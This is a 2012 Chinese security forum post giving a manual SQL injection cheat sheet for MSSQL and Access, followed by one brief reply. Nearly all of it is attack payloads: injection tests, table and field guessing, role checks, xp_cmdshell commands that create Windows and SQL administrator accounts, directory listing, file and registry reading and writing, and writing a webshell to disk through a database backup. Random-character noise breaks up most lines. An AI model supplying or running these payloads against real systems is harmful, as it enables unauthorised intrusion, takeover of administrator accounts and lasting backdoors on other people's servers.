找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2625|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
手工脚本注入 3 \) G, U: Y2 j- @6 ^  X& ^1 C
1.判断是否有注入;and 1=1 ;and 1=2 + R  t( x1 Y  k, F) u* p7 m2 p
6 j* W% w- |# [( ?# y; C8 j
2.初步判断是否是mssql ;and user>0
3 X$ C1 j/ f, T1 ]) l2 v  E
2 J8 J: c0 ~, ?) \" n3.注入参数是字符'and [查询条件] and ''=' , o0 g- ]2 }' T- m  E

1 i1 D! J( A7 n: I  L: c4.搜索时没过滤参数的'and [查询条件] and '%25'=' / }+ Y% L( ~% X) c; p) M8 Q. i8 q8 J

3 d4 V" h( j2 F' H, W% D% K8 a1 a5.判断数据库系统
3 T5 t9 E/ B1 H5 s/ u& R/ {4 Z  M;and (select count(*) from sysobjects)>0 mssql , R0 N7 k; c3 C8 S
;and (select count(*) from msysobjects)>0 access
: U5 ]! P# s- H/ x" }
7 j9 d9 y. c( k7 v6.猜数据库 ;and (select Count(*) from [数据库名])>0
4 J4 S" s' V2 s" o$ i7 `* H) l$ U' q0 U% i; V/ o
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 4 m; j! p. U1 {: U% E( U1 X8 O& c

& V3 S$ `% {6 i9 J/ B$ z8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ! V4 k+ _. i9 Q9 f( l- O. C
$ g7 {6 @& ]8 Q+ R% H5 `
9.(1)猜字段的ascii值(access)
2 \& y1 k# _  E;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ( ~. e& O' q6 h. r: s
8 M( D4 Q$ l# Y, S- q& t7 i
(2)猜字段的ascii值(mssql) 5 x: o9 j1 a7 h  a/ c) y$ u
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
) ]2 s# C( w) o& c3 L
5 l$ H0 q8 {' ~7 y9 @% d, a; Y- p10.测试权限结构(mssql)
6 H& P4 d+ M' _;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--   w% p) Q0 Q( r' e2 t
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 6 U( j7 J) L+ a3 _9 [
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 2 X' E: A+ M. E1 v9 o
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 2 _$ u* \; I  B! x' F2 _! a
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 9 G7 w( y" D* o% x6 V6 T
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ; e; U  J* B- X+ K
;and 1=(select IS_MEMBER('db_owner'));-- : {; E) E: `9 `- O
+ J( g+ E% y6 _  m8 D% G9 Q! H
11.添加mssql和系统的帐户 & [) `$ K, ^6 ^' E
;exec master.dbo.sp_addlogin username;--
, v) I# \9 k4 Z3 c- |4 y
( J+ l: O& l" x2 a% W;exec master.dbo.sp_password null,username,password;-- ' s8 ~" G" w! C9 b7 i
) S! @4 j; r! F
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
  F; r' t; t4 x8 u: S
$ C# I5 y4 x) l& C1 B9 j' T* n;exec master.dbo.xp_cmdshell 'net user username password
9 [8 r  S& S) g/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ' [$ R8 i1 S( j
5 A$ r/ T) p) y
;exec master.dbo.xp_cmdshell 'net user username password /add';-- . S0 ?& }2 j6 s" A* L+ T" M
) B( K& L7 l& y& J" u% r3 B: h
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--   l3 X- |# ]# T+ A

2 ?+ W* p; T8 ^/ _  a5 w: i12.(1)遍历目录
8 d/ r& x4 _9 x* D
6 |+ C3 g( r6 D0 E* l# O' l;create table dirs(paths varchar(100), id int) - U9 ~2 r  O" M( D, l* p) O" \) V
;insert dirs exec master.dbo.xp_dirtree 'c:\'
' z( {$ t  T' q;and (select top 1 paths from dirs)>0 % x) Q2 v+ Z7 {: g) ~3 Z  u
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
: u# d7 s# ]! d: J
# P. Y$ d+ |9 J1 j4 D' t(2)遍历目录 4 ?: Y; E1 E2 z8 ~% D. j( ?  A. E
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
/ U' Q& I0 f4 h: F* x  \;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 # E$ i  {# m/ \0 {
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
( l; F* t7 V( X7 H2 Z;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构   d. i8 F6 l% F9 v
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
1 C2 @. Z; S. E( I
. }% e9 I" Z0 Y" @13.mssql中的存储过程 + ]* U$ I" B. R0 u6 ]8 e

. E# V0 B8 {0 }' @1 C, }0 x. Nxp_regenumvalues 注册表根键, 子键
6 m2 }  `* C2 U* Z6 P: s4 K;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 " p8 ~: ~0 e$ L

. P! z0 w1 F5 |( ^# Vxp_regread 根键,子键,键值名
. ^1 T8 Y9 K$ d;exec xp_regread
, K" j$ o' Z' f'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 / h6 ^- F" D/ d& ~; L

! m4 ^: ^7 K9 g/ |' K8 O7 cxp_regwrite 根键,子键, 值名, 值类型, 值 5 ~- p  o! Y# K* i2 i
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
0 q/ q' B8 k1 n' |; ~! @  n/ I# L) };exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 % j+ g( i7 M" O8 N4 p+ a' O4 L+ {
. q/ y# m! b3 J$ @. }( ^, f) o
xp_regdeletevalue 根键,子键,值名   p8 D3 r5 x- s. F+ I  S

4 I3 F: F* [. o' ]5 a1 Z- Lexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 & R% M' U/ _: A; A0 M

/ J, m2 G+ r; `3 f7 J$ vxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
, y* W7 ]9 Y6 ~! s# F! D) s5 E
5 W. X; l" e1 Y1 F) \; D' }) }14.mssql的backup创建webshell
+ ~* Q+ W. q, Q. I. H; d0 L( Guse model
  |% x% `9 @- @9 N' n$ s1 vcreate table cmd(str image);
, x* d; O* O% [& k: u# }% Q: x5 m3 yinsert into cmd(str) values (''); ) A; @' d3 |+ B
backup database model to disk='c:\l.asp'; 1 d2 Q: Y" E9 J, ^8 `; P9 r& J4 \

* a- R4 q$ Q' a. F' q5 {7 {15.mssql内置函数
& ~/ X+ Z. A: M! ]9 F;and (select @@version)>0 获得Windows的版本号
& t: `4 D% I+ W7 u1 K;and user_name()='dbo' 判断当前系统的连接用户是不是sa 3 ^; ]& _1 O9 z* r4 w+ c" _
;and (select user_name())>0 爆当前系统的连接用户 ) F) i( h5 \$ |" Y8 @9 }3 X( L: ~
;and (select db_name())>0 得到当前连接的数据库
* G. [4 X! N9 L! V! o  l9 ]. ^( E6 w* D6 j2 E( d
16.简洁的webshell / s1 \1 V; @6 v; @
& E4 W+ u2 D( N
use model 6 M9 U7 ?# h4 g+ D( X; \
5 o. o! `$ T$ S4 `6 M( A
create table cmd(str image); 6 P/ Z- j# D( Z3 `! w1 w4 ^
6 B: t0 i5 j! F7 h, F7 R( G
insert into cmd(str) values ('');
, B; L3 Q* q. C$ Z; w1 W9 t' [
7 i: K/ h0 X* T. ]% D% d0 Hbackup database model to disk='g:\wwwtest\l.asp'; 8 R' _1 T9 `5 Y

2 m' ~; p& a9 j* O& m- Q+ _7 ]
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表